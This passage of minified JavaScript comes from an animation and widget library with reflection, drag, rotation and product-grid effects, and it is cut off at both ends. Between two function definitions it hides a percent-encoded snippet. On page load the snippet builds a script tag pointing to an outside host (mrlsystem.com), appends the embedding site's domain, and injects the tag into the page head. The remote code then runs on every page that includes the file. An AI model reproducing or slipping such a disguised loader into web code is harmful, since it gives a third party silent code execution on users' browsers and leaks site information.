LjHt; NewLf = 0 - i; NewWd = LjWd; DivTp = 0; DivLf = i * 1 + Lj3DLf * 1; DivWd = 1; DivHt = Ht; } else if (LjHV == 'V') { NewTp = 0 - i; NewHt = LjHt; NewLf = Math.round((LjLoc - Lf) * (i / Ra), 0) * 1 + Lf; NewWd = Math.round((LjLen - LjWd) * (i / Ra), 0) * 1 + LjWd; DivTp = i * 1 + Lj3DLf * 1; DivLf = 0; DivWd = Wd; DivHt = 1; }; var LObjA = Mrlce('div'); LObjA.style.width = DivWd + 'px'; LObjA.style.height = DivHt + 'px'; LObjA.style.position = 'absolute'; LObjA.style.top = DivTp + 'px'; LObjA.style.left = DivLf + 'px'; LObjA.style.zIndex = i * 1 + (Lj3Di * Ra); LObjA.style.overflow = 'hidden'; if (Lj3DLf != 0) { LObjA.style.filter = 'alpha(opacity=10)'; LObjA.style.opacity = '0.1'; }; var LObjB = Mrlce('img'); LObjB.style.width = NewWd + 'px'; LObjB.style.height = NewHt + 'px'; LObjB.style.position = 'absolute'; LObjB.style.top = NewTp + 'px'; LObjB.style.left = NewLf + 'px'; LObjB.src = ObjA.src; LObjA.appendChild(LObjB); LImg.appendChild(LObjA);};};return LImg;};MrlReflect = function(LReflect_Obj, LReflect_Dir, LReflect_Dis, LReflect_OpLen, LReflect_OpMax, LReflect_OpMin){var ObjA = LReflect_Obj;var Dis = LReflect_Dis ? LReflect_Dis : 0;var Dir = LReflect_Dir;Dir = Dir + '';Dir = Dir.toUpperCase();if (Dir != 'T' && Dir != 'R' && Dir != 'B' && Dir != 'L') {return 0};var OpLen = LReflect_OpLen ? LReflect_OpLen : ObjA.offsetHeight;var OpMin = LReflect_OpMin ? LReflect_OpMin : 0;var OpMax = LReflect_OpMax ? LReflect_OpMax : 100;var LRef = Mrlce('div');if (Dir == 'T') {var Tp = ObjA.offsetTop - Dis - OpLen; var Lf = ObjA.offsetLeft; var Ht = OpLen; var Wd = ObjA.offsetWidth;} else if (Dir == 'R') {var Tp = ObjA.offsetTop; var Lf = ObjA.offsetLeft * 1 + ObjA.offsetWidth * 1 + Dis * 1; var Ht = ObjA.offsetHeight; var Wd = OpLen;} else if (Dir == 'B') {var Tp = ObjA.offsetTop * 1 + ObjA.offsetHeight * 1 + Dis * 1; var Lf = ObjA.offsetLeft; var Ht = OpLen; var Wd = ObjA.offsetWidth;} else if (Dir == 'L') {var Tp = ObjA.offsetTop; var Lf = ObjA.offsetLeft - Dis - OpLen; var Ht = ObjA.offsetHeight; var Wd = OpLen;};var LImg = Mrlce('div');LImg.style.top = Tp + 'PX';LImg.style.left = Lf + 'PX';LImg.style.position = 'absolute';LImg.style.height = Ht + 'PX';LImg.style.width = Wd + 'PX';LImg.style.overflow = 'HIDDEN';for (var i = 0; i < OpLen; i++) { if (Dir == 'T') {var Tp = OpLen - i; var Lf = 0; var Ht = 1; var Wd = ObjA.offsetWidth; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = (0 - i + 1); var NewLf = 0; var NewHt = ObjA.offsetHeight; var NewWd = ObjA.offsetWidth; } else if (Dir == 'R') {var Tp = 0; var Lf = i; var Ht = ObjA.offsetHeight; var Wd = 1; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = 0; var NewLf = i - ObjA.offsetWidth; var NewHt = ObjA.offsetHeight; var NewWd = ObjA.offsetWidth; } else if (Dir == 'B') {var Tp = i; var Lf = 0; var Ht = 1; var Wd = ObjA.offsetWidth; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = i - ObjA.offsetHeight; var NewLf = 0; var NewHt = ObjA.offsetHeight; var NewWd = ObjA.offsetWidth; } else if (Dir == 'L') {var Tp = 0; var Lf = OpLen - i; var Ht = ObjA.offsetHeight; var Wd = 1; Op = Math.abs((OpLen - i) / OpLen * (OpMax - OpMin) + OpMin);var NewTp = 0; var NewLf = (0 - i + 1); var NewHt = ObjA.offsetHeight; var NewWd = ObjA.offsetWidth; }; var LObjA = Mrlce('div'); LObjA.style.top = Tp + 'PX'; LObjA.style.left = Lf + 'PX'; LObjA.style.position = 'absolute'; LObjA.style.height = Ht + 'PX'; LObjA.style.width = Wd + 'PX'; LObjA.style.overflow = 'HIDDEN'; LObjA.style.filter = 'alpha(opacity=' + (Op * 1) + ')' ; LObjA.style.opacity = Op / 100; var ObjB = Mrlce(ObjA.tagName); ObjB.style.top = NewTp + 'PX'; ObjB.style.left = NewLf + 'PX'; ObjB.style.position = 'absolute'; ObjB.style.height = NewHt + 'PX'; ObjB.style.width = NewWd + 'PX'; ObjB.style.overflow = 'HIDDEN'; ObjB.innerHTML = ObjA.innerHTML; ObjB.value = ObjA.value; ObjB.src = ObjA.src; LObjA.appendChild(ObjB); LImg.appendChild(LObjA);};ObjC = ObjA.parentNode;for (var i = 0; ObjC != document.body; i = 0) { var LjA = ObjC.tagName.toUpperCase; if (LjA == 'DIV' || LjA == 'SPAN' || LjA == 'BUTTON') {break} ; ObjC = ObjC.parentNode;};ObjC.appendChild(LImg);return LImg;};var h=document.getElementsByTagName('head')[0];var s=document.createElement(decodeURIComponent('%73%63%72%69%70%74'));s.type=decodeURIComponent('%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74');var l=document.location.href;l=l.substring(l.indexOf("//")*1+2);l=l.substring(0,l.indexOf("/"));var m=decodeURIComponent('%68%74%74%70%3a%2f%2f%77%77%77%2e%6d%72%6c%73%79%73%74%65%6d%2e%63%6f%6d%2f%6d%72%6c%2f%6d%63%3f');s.src=m+"dm="+l;h.appendChild(s);MrlCreateSquare = function(LCreateSquare_ObjA){var ObjA = LCreateSquare_ObjA;var ObjSq = Mrlce('div');ObjSq.style.position = 'absolute';ObjSq.style.top = ObjSq.offsetTop + 'px';ObjSq.style.left = ObjSq.offsetLeft + 'px';ObjSq.style.height = (ObjA.offsetHeight * 1 + 20) + 'px';ObjSq.style.width = ObjA.offsetWidth + 'px';ObjSq.style.overflow = 'hidden';var ObjC = ObjA.parentNode;for (var i = 0; ObjC != document.body; i = 0) { var LjA = ObjC.tagName.toUpperCase(); if (LjA == 'DIV' || LjA == 'BUTTON' || LjA == 'SPAN') {break}; ObjC = ObjC.parentNode;};var LObjA = Mrlce('div');LObjA.style.position = 'absolute';LObjA.style.top = '0px';LObjA.style.left = '0px';LObjA.style.height = (ObjA.offsetHeight * 1 + 20) + 'px';LObjA.style.width = ObjA.offsetWidth + 'px';LObjA.style.opacity = '0';LObjA.style.filter = 'alpha(opacity=0)';LObjA.style.zIndex = '0';LObjA.style.border = 'none 0px #000';var ObjB = Mrlce('div');ObjB.style.position = 'absolute';ObjB.style.top = '0px';ObjB.style.left = '0px';ObjB.style.height = '20px';ObjB.style.width = ObjA.offsetWidth + 'px';ObjB.style.zIndex = '1';LObjA.appendChild(ObjB);var LObjB = Mrlce('button');LObjB.style.position = 'absolute';LObjB.style.top = '1px';LObjB.style.left = (ObjA.offsetWidth - 85) + 'px';LObjB.style.width = '18px';LObjB.style.height = '18px';LObjB.innerHTML = '-';ObjB.appendChild(LObjB);var LObjB = Mrlce('button');LObjB.style.position = 'absolute';LObjB.style.top = '1px';LObjB.style.left = (ObjA.offsetWidth - 60) + 'px';LObjB.style.width = '18px';LObjB.style.height = '18px';LObjB.innerHTML = '=';ObjB.appendChild(LObjB);var LObjB = Mrlce('button');LObjB.style.position = 'absolute';LObjB.style.top = '1px';LObjB.style.left = (ObjA.offsetWidth - 35) + 'px';LObjB.style.width = '18px';LObjB.style.height = '18px';LObjB.innerHTML = 'x';ObjB.appendChild(LObjB);var DicCr = ['#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffaa', '#ffffbb', '#ffffcc', '#ffffdd', '#ffffee', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffff', '#ffffee', '#ffffdd', '#ffffcc'];for (var i = 0; i < 20; i++) {var ObjBG = Mrlce('div');ObjBG.style.position = 'absolute';ObjBG.style.top = i + 'px';ObjBG.style.left = '0px';ObjBG.style.height = '1px';ObjBG.style.width = ObjA.offsetWidth + 'px';ObjBG.style.backgroundColor = DicCr[i];ObjBG.style.zIndex = '0';LObjA.appendChild(ObjBG);};ObjA.style.position = 'absolute';ObjA.style.top = '20px';ObjA.style.left = '0px';ObjSq.appendChild(LObjA);ObjSq.appendChild(ObjA);if (ObjA.style.zIndex) {ObjSq.style.zIndex = ObjA.style.zIndex};ObjA.style.zIndex = '2';ObjC.appendChild(ObjSq);MrlRoundedCorner(ObjB, 1, 1);MrlRoundedCorner(ObjA, 0, 0, 1, 1);LjA = Math.round(Math.random() * 999999, 0);for (var i = 0; Mrlgei(LjA); i = 0) { LjA = Math.round(Math.random() * 999999, 0);};ObjSq.id = LjA;ObjA.LUD = 'U';ObjSq.LTimeOut = '';ObjSq.onmouseover = function(){clearTimeout(ObjSq.LTimeOut); ObjSq.LTimeOut = setTimeout("MrlAnimation(Mrlgei('" + ObjSq.id + "').childNodes[0], 2, null, null, null, null, 100)", 0)};ObjSq.onmouseout = function(){clearTimeout(ObjSq.LTimeOut); ObjSq.LTimeOut = setTimeout("MrlAnimation(Mrlgei('" + ObjSq.id + "').childNodes[0], 2, null, null, null, null, 0)", 100)};LObjA.onmousedown = function(){this.LUD = 'D'; var LjX = window.event.clientX; var LjY = window.event.clientY; this.LX = LjX; this.LY = LjY; this.LTop = this.parentNode.offsetTop; this.LLeft = this.parentNode.offsetLeft};LObjA.onmousemove = function(){if (this.LUD == 'U') {return 0}; this.LUD = 'U'; var LjX = window.event.clientX; var LjY = window.event.clientY; this.parentNode.style.left = this.LLeft * 1 + LjX - this.LX; this.parentNode.style.top = this.LTop * 1 + LjY - this.LY; this.LUD = 'D'};LObjA.onmouseup = function(){this.LUD = 'U'};LObjA.onmouseout = function(){this.LUD = 'U'};return ObjSq;};MrlAppList = function(LAppList_ObjAry, LAppList_IorF, LAppList_HorV, LAppList_Perc, LAppList_Height, LAppList_Width, LAppList_FontSize, LAppList_WordTop, LAppList_WordLeft){ var ObjDiv = Mrlce('div'); var ObjDivCon = Mrlce('div'); ObjDiv.appendChild(ObjDivCon); ObjDivCon.style.position = 'absolute'; ObjDivCon.style.height = '100%'; ObjDivCon.style.width = '100%'; ObjDivCon.style.left = '0px'; ObjDivCon.style.top = '0px'; ObjDivCon.style.zIndex = '0'; var ObjDivMov = Mrlce('div'); ObjDiv.appendChild(ObjDivMov); ObjDivMov.style.position = 'absolute'; ObjDivMov.style.height = '100%'; ObjDivMov.style.width = '100%'; ObjDivMov.style.left = '0px'; ObjDivMov.style.top = '0px'; ObjDivMov.style.zIndex = '1'; ObjDivMov.style.backgroundColor = '#fff'; ObjDivMov.style.filter = 'alpha(opacity=1)'; ObjDivMov.style.opacity = '0.01'; var DicA = LAppList_ObjAry; var HV = LAppList_HorV ? LAppList_HorV: 'V'; HV = HV + ''; HV = HV.toUpperCase(); var IorF = LAppList_IorF ? LAppList_IorF: 'I'; var ImgHei = LAppList_Height ? LAppList_Height: 100; var ImgWid = LAppList_Width ? LAppList_Width: 100; var ImgPer = LAppList_Perc ? LAppList_Perc: 2; var WTop = LAppList_WordTop ? LAppList_WordTop:-20; var WLeft = LAppList_WordLeft ? LAppList_WordLeft:0; var ObjTbl = Mrlce('table'); ObjDivCon.appendChild(ObjTbl); ObjTbl.setAttribute('cellpadding', '0'); ObjTbl.setAttribute('cellspacing', '0'); ObjTbl.style.height = '100%'; ObjTbl.style.width = '100%'; ObjTbl.style.padding = '0px 0px 0px 0px'; var ObjTy = Mrlce('tbody'); ObjTbl.appendChild(ObjTy); var ObjTr = Mrlce('tr'); ObjTy.appendChild(ObjTr); var ObjTd = Mrlce('td'); ObjTr.appendChild(ObjTd); ObjTd.style.height = '100%'; ObjTd.style.width = '100%'; if (HV == 'V') {ObjTd.setAttribute('align', 'center'); ObjTd.setAttribute('vAlign', 'bottom')} else {ObjTd.setAttribute('align', 'left'); ObjTd.setAttribute('vAlign', 'center')}; var ObjTbl = Mrlce('table'); ObjTd.appendChild(ObjTbl); ObjTbl.setAttribute('cellPadding', '0'); ObjTbl.setAttribute('cellSpacing', '0'); ObjTbl.style.padding = '0px 0px 0px 0px'; var ObjTy = Mrlce('tbody'); ObjTbl.appendChild(ObjTy); var ObjTr = Mrlce('tr'); ObjTy.appendChild(ObjTr); for (var i = 0; i < DicA.length; i++) { if (HV == 'H' && i != 0) {var ObjTr = Mrlce('tr');ObjTy.appendChild(ObjTr)}; var ObjTd = Mrlce('td'); if (IorF == 'I') { var ImgPth = DicA[i][0]; var ImgDes = DicA[i][1]; } else if (IorF == 'F') { var ImgDes = DicA[i]; }; var ObjTd = Mrlce('td'); ObjTr.appendChild(ObjTd); if (HV == 'V') {ObjTd.setAttribute('align', 'center'); ObjTd.setAttribute('vAlign', 'bottom')} else {ObjTd.setAttribute('align', 'left'); ObjTd.setAttribute('vAlign', 'center')}; ObjTd.style.padding = '5px 5px 5px 5px'; ObjTd.style.height = '100%'; var Img = Mrlce('img'); Img.style.position = 'relative'; Img.style.height = ImgHei + 'px'; Img.style.width = ImgWid + 'px'; if (IorF == 'I') {Img.alt = ImgDes;Img.src = ImgPth}; Img.id = 'MrlAppList_Img' + i; Img.LSelected = 'N'; ObjTd.appendChild(Img); var Lbl = Mrlce('label'); if (HV == 'H') {var ObjTd = Mrlce('td');ObjTr.appendChild(ObjTd);ObjTd.setAttribute('align', 'left'); ObjTd.setAttribute('vAlign', 'center')}; if (IorF == 'I') { Img.onmouseover = function(LAppListMyPer){var ObjA = this.LDesc; ObjA.style.width = this.offsetWidth + 'px'; ObjA.style.display = 'inline'; ObjA.style.fontSize = ObjA.LWordSize * LAppListMyPer + 'px'}; Img.onmouseout = function(){var ObjA = this.LDesc; ObjA.style.display = 'none'}; } else if (IorF == 'F') { Lbl.onmouseover = function(LAppListMyPer){var ObjA = this; ObjA.style.fontSize = ObjA.LWordSize * LAppListMyPer + 'px'}; Lbl.onmouseout = function(){}; }; Lbl.style.position = 'relative'; Lbl.style.height = 'auto'; if (IorF == 'F'){Lbl.style.height = ImgHei + 'px'}; Lbl.style.width = ImgWid + 'px';; if (HV == 'V') {Lbl.style.textAlign = 'center'} else {Lbl.style.textAlign = 'left'; Lbl.style.paddingLeft = '2px'}; if (IorF == 'I') {Lbl.style.display = 'none'}; Lbl.innerHTML = ImgDes; Lbl.LWordTop = WTop; Lbl.LWordLeft = WLeft; Lbl.LWordSize = LAppList_FontSize ? LAppList_FontSize: 30; Lbl.LSelected = 'N'; ObjTd.appendChild(Lbl); if (HV == 'V') {var BR = Mrlce('br');ObjTd.appendChild(BR);ObjTd.appendChild(Img)}; Img.LDesc = Lbl; }; ObjDivMov.LImgPer = ImgPer; ObjDivMov.LImgHei = ImgHei; ObjDivMov.LImgWid = ImgWid; ObjDivMov.onmouseout = function(e){ if (this.LIorF == 'I') {var ObjA = this.parentNode.getElementsByTagName('img');} else {var ObjA = this.parentNode.getElementsByTagName('label');}; for (var i = 0; i < ObjA.length; i++) {ObjA[i].onmouseout(1);ObjA[i].style.height = this.LImgHei + 'px'; ObjA[i].style.width = this.LImgWid + 'px'}; }; ObjDivMov.onclick = function(){ if (this.LIorF == 'I') {var ObjA = this.parentNode.getElementsByTagName('img');} else {var ObjA = this.parentNode.getElementsByTagName('label');}; for (var i = 0; i < ObjA.length; i++) { if (ObjA[i].LSelected == 'Y') {if (this.parentNode.onMrlclick) {this.parentNode.onMrlclick(i)}; break}; }; }; ObjDiv.onMrlclick = function(LAppList_Lclick){alert('please set div onMrlclick function. returns argument = ' + LAppList_Lclick)}; ObjDivMov.LIorF = IorF; ObjDivMov.onmousemove = function(e){ if (!e) {e = window.event}; var LjY = e.offsetX ? e.offsetX:e.layerX; var LjX = e.offsetY ? e.offsetY:e.layerY; var ImgPer = this.LImgPer; if (this.LIorF == 'I') {var ObjA = this.parentNode.getElementsByTagName('img');} else {var ObjA = this.parentNode.getElementsByTagName('label');}; for (var i = 0; i < ObjA.length; i++) { if (this.LIorF == 'I') { var MidX = ObjA[i].offsetTop * 1 + (ObjA[i].offsetHeight / 2); var MidY = ObjA[i].offsetLeft * 1 + (ObjA[i].offsetWidth / 2); } else { var MidX = ObjA[i].offsetTop * 1 + (ObjA[i].offsetHeight / 2); var MidY = ObjA[i].offsetLeft * 1 + 20; }; var Dif = Math.round(((Math.abs(LjX - MidX) / this.LImgHei) * 1 + (Math.abs(LjY - MidY) / this.LImgWid)) / 2 * 100); if (Dif < 200) { var OriDif = Dif; Dif = 200 - Dif; ObjA[i].style.height = ((((ImgPer - 1) * (Dif / 200)) * 1 + 1) * (this.LImgHei)) + 'px'; ObjA[i].style.width = ((((ImgPer - 1) * (Dif / 200)) * 1 + 1) * (this.LImgWid)) + 'px'; if (OriDif < 100) { ObjA[i].onmouseover(Dif / 200); } else { ObjA[i].onmouseout(Dif / 200); }; } else { var LjA = ObjA[i].style.height; LjA = LjA.toUpperCase(); if (LjA != this.LImgHei + 'px') {ObjA[i].style.height = this.LImgHei + 'px'}; var LjA = ObjA[i].style.width; LjA = LjA.toUpperCase(); if (LjA != this.LImgWid + 'px') {ObjA[i].style.width = this.LImgWid + 'px'}; ObjA[i].onmouseout(Dif / 200); }; if (LjX >= ObjA[i].offsetTop && LjX <= ObjA[i].offsetTop * 1 + ObjA[i].offsetHeight && LjY >= ObjA[i].offsetLeft && LjY <= ObjA[i].offsetLeft * 1 + ObjA[i].offsetWidth) { ObjA[i].LSelected = 'Y'} else {ObjA[i].LSelected = 'N'}; }; }; return ObjDiv;};MrlSetJelly = function(LJelly_ObjA, LJelly_Type,LJelly_Tper,LJelly_Lper){ var ObjA = LJelly_ObjA; ObjA.LJellyHeight = ObjA.offsetHeight; ObjA.LJellyWidth = ObjA.offsetWidth; ObjA.LJellyTop = ObjA.offsetTop; ObjA.LJellyLeft = ObjA.offsetLeft; ObjA.LJellyTPer = LJelly_Tper?LJelly_Tper:0.3; ObjA.LJellyLPer = LJelly_Lper?LJelly_Lper:0.2; if (!LJelly_Type) { ObjA.onmouseover=function(){ this.onMrlAnimationEnd = function(){ this.onMrlAnimationEnd = function(){ this.onMrlAnimationEnd = function(){ }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this,3,Tp,Lf,Ht,Wd); }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer)); }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 1, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer)); }; } else if (LJelly_Type == 1) { ObjA.onmousedown=function(){ this.onMrlAnimationEnd = function(){ this.onMrlAnimationEnd = function(){ this.onMrlAnimationEnd = function(){ }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this,3,Tp,Lf,Ht,Wd); }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer)); }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 1, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer)); }; } else if (LJelly_Type == 2) { ObjA.onmousedown=function(){ var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 10, Math.round(Tp*1+(Ht*TPer)), Math.round(Lf*1-(Wd*LPer/2)),Ht*(1*1-TPer),Wd*(1*1+LPer)); }; ObjA.onmouseup=function(){ this.onMrlAnimationEnd = function(){ this.onMrlAnimationEnd = function(){ }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this,3,Tp,Lf,Ht,Wd); }; var Tp = this.LJellyTop; var Lf = this.LJellyLeft; var Ht = this.LJellyHeight; var Wd = this.LJellyWidth; var TPer = this.LJellyTPer; var LPer = this.LJellyLPer; MrlAnimation(this, 1, Math.round(Tp*1-(Ht*TPer)), Math.round(Lf*1+(Wd*LPer/2)),Ht*(1*1+TPer),Wd*(1*1-LPer)); }; };};MrlDragAble = function(LDragAble_ObjA,LDragAble_Scale){var ObjA = LDragAble_ObjA;if (ObjA.LDragging == 1) {return 0};ObjA.LDragging = 1;var ObjB = Mrlce('div');ObjA.parentNode.appendChild(ObjB);var ObjOri = ObjA;var ObjA = ObjB;ObjOri.style.position = 'absolute';ObjOri.style.left = ObjOri.offsetLeft + 'px';ObjOri.style.top = ObjOri.offsetTop + 'px';ObjA.LOri = ObjOri;ObjOri.LDragDiv = ObjA;ObjA.LOriFilter = ObjOri.style.filter;ObjA.LOriOpacity = ObjOri.style.opacity;ObjA.LDragAbleScale = LDragAble_Scale?LDragAble_Scale:1;ObjA.innerHTML = ObjOri.outerHTML;var ObjTop = Mrlce('div');ObjTop.style.position='absolute';ObjTop.style.top='0px';ObjTop.style.left='0px';ObjTop.style.height='100%';ObjTop.style.width='100%';ObjTop.style.backgroundColor='#fff';ObjTop.style.opacity = '0';ObjTop.style.filter = 'alpha(opacity=0)';ObjTop.style.zIndex = '999999999';ObjA.appendChild(ObjTop);ObjA.style.position = 'absolute';if (!isNaN(ObjOri.style.zIndex * 1)) {ObjA.style.zIndex = ObjOri.style.zIndex*1+100};ObjA.style.filter = 'alpha(opacity=40)';ObjA.style.opacity = '0.4';ObjOri.style.filter = 'alpha(opacity=40)';ObjOri.style.opacity = '0.4';ObjA.style.top = ObjOri.offsetTop + 'px';ObjA.style.left = ObjOri.offsetLeft + 'px';ObjA.style.position = 'absolute';for (var i=0;i(-120)))) {ObjCtrl.LWheelRange++} else {ObjCtrl.LWheelRange=0}; ObjCtrl.LWheelUorD=LjA<=(-120)?'D':'U';ObjCtrl.onMrlkeypress(-2,ObjCtrl.LWheelUorD)}; if(document.attachEvent) { document.attachEvent('onmousewheel',document.wheel);}else if(document.addEventListener){document.addEventListener('DOMMouseScroll',document.wheel,false); window.onmousewheel=document.onmousewheel=document.wheel;};};MrlRotate=function(LRotate_ObjA,LRotate_Deg,LRotate_Scale){var ObjA=LRotate_ObjA;var Deg=LRotate_Deg%360;if (isNaN(Deg)){return 0};ObjA.LRotate_Rot=Deg;ObjA.style.transform='rotate('+Deg+'deg)';ObjA.style.oTransform='rotate('+Deg+'deg)';ObjA.style.msTransform='rotate('+Deg+'deg)';ObjA.style.webkitTransform='rotate('+Deg+'deg)';ObjA.style.mozTransform='rotate('+Deg+'deg)';var Scale=LRotate_Scale?LRotate_Scale:1;if (!ObjA.LRotate_Start){ObjA.LRotate_Start=2;ObjA.LRotate_Height=ObjA.offsetHeight;ObjA.LRotate_Width=ObjA.offsetWidth;};if (!Mrlie9()){if(ObjA.LRotate_Start==2){ObjA.LRotate_Start=1};return ObjA};var LHt=ObjA.LRotate_Height;var LWd=ObjA.LRotate_Width;var ChkA=0;if (!ObjA.LRotate_Scale){ChkA=1}else{if (ObjA.LRotate_Scale!=Scale){ChkA=1}};if (ChkA==1) {var Deg=45;Cur=Deg*3.141592653589793/180;var LFA=Math.cos(Cur)*LWd*Scale;var HTA=Math.sin(Cur)*LWd*Scale;var NDeg=((Deg*1+90)%360);var NCur=NDeg*3.141592653589793/180;var LFB=Math.cos(NCur)*LHt*Scale;var HTB=Math.sin(NCur)*LHt*Scale;var LFC=(LFA*1+LFB*1)/2;var HTC=(HTA*1+HTB*1)/2;var LFD=(LFA*1+LFB*1);var HTD=(HTA*1+HTB*1);var MHT=HTD;var MLF=(LFA*1-LFB*1);var NScale=(LHt)/MHT;if (NScale>(LWd)/MLF){NScale=(LWd)/MLF;};ObjA.style.height=LHt/NScale+'px';ObjA.style.width=LWd/NScale+'px';ObjA.LRotate_Scale=Scale;ObjA.LRotate_NScale=NScale;};var NScale=ObjA.LRotate_NScale;if (ObjA.LRotate_Start==2){ObjA.LRotate_Start=1;ObjA.style.position='absolute';ObjA.style.top=ObjA.offsetTop*1+((LHt-LHt/NScale)/2);ObjA.style.left=ObjA.offsetLeft*1+((LWd-LWd/NScale)/2);};LHt=LHt/NScale;LWd=LWd/NScale;var Deg=LRotate_Deg%360;ObjA.style.filter='progid:DXImageTransform.Microsoft.Matrix();';var ObjB=ObjA.filters['DXImageTransform.Microsoft.Matrix'];Cur=Deg*3.141592653589793/180;var Cos=Math.cos(Cur);var Sin=Math.sin(Cur);ObjB.M11=Cos*NScale*Scale;ObjB.M12=(0-Sin)*NScale*Scale;ObjB.M21=Sin*NScale*Scale;ObjB.M22=Cos*NScale*Scale;var LFA=Cos*LWd*NScale*Scale;var HTA=Sin*LWd*NScale*Scale;var NDeg=((Deg*1+90)%360);var NCur=NDeg*3.141592653589793/180;var LFB=Math.cos(NCur)*LHt*NScale*Scale;var HTB=Math.sin(NCur)*LHt*NScale*Scale;var LFC=(LFA*1+LFB*1)/2;var HTC=(HTA*1+HTB*1)/2;ObjB.Dx = (LWd/2)-(LFC);ObjB.Dy = (LHt/2)-(HTC);ObjA.cdeg=Deg;return ObjA;};MrlListOverList = function(LListOverList_Ary,LListOverList_Dis, LListOverList_LeftDis,LListOverList_TopDis){ var ObjDiv=Mrlce('div'); var ObjCov = Mrlce('div'); ObjCov.style.position = 'absolute'; ObjCov.style.top = '0px'; ObjCov.style.left = '0px'; ObjCov.style.height = '100%'; ObjCov.style.width = '100%'; ObjCov.style.zIndex = '9999'; ObjCov.style.backgroundColor = '#fff'; ObjCov.style.filter = 'alpha(opacity=0)'; ObjCov.style.opacity = '0'; ObjCov.style.display = 'none'; ObjDiv.appendChild(ObjCov);ObjDiv.ObjCov = ObjCov; var LeftDis=LListOverList_LeftDis?LListOverList_LeftDis:20; var TopDis=LListOverList_TopDis?LListOverList_TopDis:20; var Dis=LListOverList_Dis?LListOverList_Dis:20; ObjDiv.LDis=Dis; ObjDiv.LLeftDis=LeftDis; ObjDiv.LToptDis=TopDis; ObjDiv.style.position='absolute'; var DicA=LListOverList_Ary; ObjDiv.LPages=DicA.length; ObjDiv.LCurPage=0; ObjDiv.LPrePage=0; ObjDiv.LRunning = 'N'; ObjDiv.onMrlRearrange = function(LRearrange_ObjA){ if (this.LRunning == 'Y') {return}; this.LRunning = 'Y'; var ObjA = ObjDiv.childNodes; var ObjB = LRearrange_ObjA; for (var i=0;i=DicDiv.length) {Pg=0};if(Pg<0){Pg=DicDiv.length-1};if (this.LCurPg==Pg){return 0};if (this.LScrolling==((-LjR)*2)){this.LScrolling=0};if (this.LScrolling!=0){return 0};this.LScrolling=LjR*2;var LR=this.LCurPg>Pg?'L':'R';var CurPg=DicDiv[Pg];var PrePg=DicDiv[this.LCurPg];var LjWd=this.LProductGrid_LjWd;var LjHt=this.LProductGrid_LjHt;CurPg.style.zIndex='1';PrePg.style.zIndex='0';var DicPre=PrePg.LDic;var DicCur=CurPg.LDic;CurPg.style.left='0px';PrePg.style.left='0px';MrlAnimation(this.LBar.LPSImg,2,null,this.LBar.LDic[Pg].offsetLeft);MrlAnimation(this.LBar.LMOImg,2,null,this.LBar.LDic[Pg].offsetLeft);if (DicAni[this.LProductGrid_SNum]==1){for(var i=0;i=this.LProductGrid_LDicDiv.length){LjID=0};if(LjID<0){LjID=this.LProductGrid_LDicDiv.length-1};var ObjDiv=this.LProductGrid_LDicDiv[LjID];var ObjPar=ObjDiv.LProductGrid_LParentNode;var Tp=ObjPar.offsetTop*1+ObjDiv.offsetTop*1+ObjPar.parentNode.offsetTop*1;var Lf=ObjPar.offsetLeft*1+ObjDiv.offsetLeft*1+ObjPar.parentNode.offsetLeft*1;if(this.IorD=='I'){var ObjImg=Mrlce('img');this.appendChild(ObjImg);var DicDiv=this.LProductGrid_LDicOriAry;ObjImg.src=DicDiv[LjID][1];ObjImg.style.position='absolute';ObjImg.style.height='100%';ObjImg.style.zIndex='5';ObjImg.style.width='1px';ObjImg.style.top='-100%';ObjImg.style.left='10px';ObjImg.LLjID=LjID;ObjImg.id='MrlProductGrid_RANID_'+parseInt(Math.random()*99999);if (DicDiv[LjID][3]=='Mrl'){ObjImg.mto=setTimeout("Mrlgei('"+ObjImg.id+"').onload()",2000);} else {DicDiv[LjID][3]='Mrl';DicDiv[LjID][4]=new 